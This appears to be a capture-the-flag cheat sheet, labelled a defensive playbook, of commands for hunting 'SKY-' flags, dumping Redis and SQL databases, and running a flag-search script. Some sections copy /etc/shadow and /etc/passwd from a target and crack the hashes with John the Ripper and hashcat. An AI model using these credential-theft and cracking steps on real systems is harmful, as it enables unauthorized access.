DEFENSIVE PLAYBOOK V4.1

# === PULL suspicious files to Kali for analysis ===
# (See SCP Ref section for full syntax)

# Layer 2a: Check for base64-encoded flags
find / -name "flag*" -o -name "*.enc" -o -name "*.b64" \
  2>/dev/null | xargs cat 2>/dev/null | base64 -d 2>/dev/null | strings

# On Kali — decode any suspicious base64 string:
echo "SGVsbG8gV29ybGQ=" | base64 -d

# Layer 2b: Search for base64 patterns in all text files
grep -rE "[A-Za-z0-9+/]{20,}={0,2}" /var/www /home /etc /tmp 2>/dev/null \
  | grep -v "\.pyc\|\.so\|Binary"

# Layer 2c: strings on any compiled/binary files in web dirs
# On target — find candidates:
find /var/www /opt /home -type f ! -name "*.js" ! -name "*.py" \
  ! -name "*.txt" ! -name "*.conf" 2>/dev/null

# Pull to Kali and run strings:
# scp user@TARGET_IP:/path/to/binary ~/analysis/
strings ~/analysis/binary | grep -i "SKY-\|flag\|password"

# Layer 2d: Check databases for flag values
# Redis (if accessible):
redis-cli KEYS '*flag*' 2>/dev/null
redis-cli KEYS '*' 2>/dev/null | xargs -I{} redis-cli GET {}

# SQLite:
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
sqlite3 /path/to/db.sqlite ".tables" 2>/dev/null
sqlite3 /path/to/db.sqlite "SELECT * FROM flags;" 2>/dev/null

# Layer 2e: Check image/media files for steganography
# Find images on target:
find /var/www /home /opt -name "*.jpg" -o -name "*.png" \
  -o -name "*.bmp" 2>/dev/null

# Pull to Kali, run steghide and binwalk (see CTF Depth section)

# === Identify any suspicious file — run on Kali after SCP pull ===
# 'file' command ignores extension and reads magic bytes
file suspicious_file
file ~/analysis/*

# Check for hidden data appended to a file
xxd suspicious_file | head -50   # hex dump top
xxd suspicious_file | tail -50   # hex dump bottom (hidden data often appended)

# Strings — extract all printable strings from any file type
strings suspicious_file | grep -i "SKY-\|flag\|pass\|key\|secret"
strings -n 8 suspicious_file     # strings of 8+ chars

# Check if a file is actually a different type (e.g., image with wrong extension)
file image.jpg                   # might return "data" or "ZIP archive"
binwalk suspicious_file          # scan for embedded files and signatures

# From Kali — pull shadow file
scp USER@TARGET_IP:/etc/shadow ~/hashes/shadow_s1
scp USER@TARGET_IP:/etc/passwd ~/hashes/passwd_s1

# Combine for John The Ripper:
unshadow ~/hashes/passwd_s1 ~/hashes/shadow_s1 > ~/hashes/combined_s1.txt

=== John The Ripper ===
# Quick run with default wordlist:
john ~/hashes/combined_s1.txt

# With rockyou wordlist (most effective):
john --wordlist=/usr/share/wordlists/rockyou.txt ~/hashes/combined_s1.txt

# Rules-based mangling (catches password1, Password!, etc):
john --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules ~/hashes/combined_s1.txt

# Show cracked passwords:
john --show ~/hashes/combined_s1.txt

=== Hashcat (faster with GPU) ===
# Identify hash type from shadow file:
# $1$ = MD5, $5$ = SHA-256, $6$ = SHA-512, $y$ = yescrypt
hashcat -m 1800 ~/hashes/shadow_s1 /usr/share/wordlists/rockyou.txt  # SHA-512
hashcat -m 500  ~/hashes/shadow_s1 /usr/share/wordlists/rockyou.txt  # MD5
hashcat -m 7400 ~/hashes/shadow_s1 /usr/share/wordlists/rockyou.txt  # SHA-256

# Attack modes:
hashcat -a 0   # dictionary
hashcat -a 3   # brute force: hashcat -a 3 hash ?u?l?l?l?d?d
hashcat -a 6   # wordlist + mask

# Show results:
hashcat --show ~/hashes/shadow_s1

=== Redis ===
redis-cli -a <pass> KEYS '*'
redis-cli -a <pass> KEYS '*flag*'
redis-cli -a <pass> KEYS '*' | xargs -I{} redis-cli -a <pass> GET {}

=== SQLite (pull to Kali first) ===
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null

scp USER@TARGET_IP:/path/to/app.db ~/analysis/

# On Kali:
sqlite3 ~/analysis/app.db ".tables"
sqlite3 ~/analysis/app.db ".dump" | grep -i "SKY-\|flag\|password"
sqlite3 ~/analysis/app.db "SELECT * FROM users;"

=== MySQL — query on target ===
mysql -u root -p -e "SHOW DATABASES;" 2>/dev/null
mysql -u root -p -e "USE app; SHOW TABLES; SELECT * FROM flags;" 2>/dev/null

=== PostgreSQL ===
sudo -u postgres psql -c "\l"
sudo -u postgres psql -c "SELECT * FROM flags;" app 2>/dev/null

#!/bin/bash
# ctf_hunt.sh — Run on Kali against pulled files
# Usage: ./ctf_hunt.sh ~/targets/s1_redis/
SEARCH_DIR="${1:-.}"

echo "=== CTF DEEP HUNT in $SEARCH_DIR ==="
echo ""
echo "[Plaintext SKY- flags]"
grep -r "SKY-" "$SEARCH_DIR" 2>/dev/null

echo ""
echo "[Base64-encoded strings (20+ chars)]"
grep -rEo "[A-Za-z0-9+/]{24,}={0,2}" "$SEARCH_DIR" 2>/dev/null | \
  while read enc; do
    dec=$(echo "$enc" | base64 -d 2>/dev/null)
    echo "$dec" | grep -qi "SKY-\|flag" && echo "  DECODED: $enc => $dec"
  done

echo ""
echo "[Strings in binary files]"
find "$SEARCH_DIR" -type f ! -name "*.txt" ! -name "*.conf" ! -name "*.log" \
  2>/dev/null | while read f; do
  strings "$f" 2>/dev/null | grep -i "SKY-\|flag\|password\|secret" && \
    echo "  (in: $f)"
done

echo ""
echo "[Image files — run steghide manually on these]"
find "$SEARCH_DIR" -name "*.jpg" -o -name "*.png" \
  -o -name "*.bmp" -o -name "*.gif" 2>/dev/null

echo ""
echo "[Database files — run sqlite3 manually on these]"
find "$SEARCH_DIR" -name "*.db" -o -name "*.sqlite" \
  -o -name "*.sqlite3" 2>/dev/null

echo "=== END CTF HUNT ==="